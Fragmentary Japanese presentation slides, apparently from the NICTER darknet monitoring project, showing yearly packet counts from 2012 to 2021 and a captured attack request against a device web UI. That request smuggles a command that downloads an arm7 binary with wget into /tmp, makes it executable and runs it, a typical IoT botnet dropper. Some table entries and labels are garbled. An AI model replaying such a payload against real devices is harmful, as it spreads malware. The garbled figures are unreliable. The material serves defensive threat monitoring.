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Darknet
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年 年間総観測パケット数 ダークネットIPアドレス数 1 IPアドレス当たりの年間総観測パケット数

2012 約78.0億 190,276 53,206

2013 約128.8億 209,174 63,682

2014 約241.0億 212,878 115,335

2015 約631.6億 270,973 245,540

2016 約1,440億 274,872 527,888

2017 約1,559億 253,086 578,750

2018 約2,169億 273,292 806,877

2019 約3,756億 309,769 1,231,331

2020 約5,705億 307,985 1,849,817

2021 5,180ᴑ 289,946 1,747,685

1アドレスあたり

18 τ1ᵕ
攻撃関連通信受信
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https://www.facebook.com/shodan.io/photos/a.118600968220187/783819791698298/
https://www.facebook.com/rapid7/photos/a.461909134616/10157417012804617/
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WebUI
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POST xxxxxxx.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: xxx
Content-Type: application/x-www-form-urlencoded

xxxxxxxx&key=72B5F313-B124A1A3&pwd=XaAJNULmEVg%3D&cmd=cd+%2Ftmp%2F%3B+rm+-
rf+arm7%3B+wget+http%3A%2F%2Fxxx.xxx.xxx.xxx%2Farm7%3B+chmod+777+arm7%3B+.%2Farm7+multidvr

β

05/12/2022 72B5F313-B124A1A3 *****( )

β
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https://notice.go.jp/status
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WEB UI

https://twitter.com/nicter_jp
https://blog.nicter.jp/
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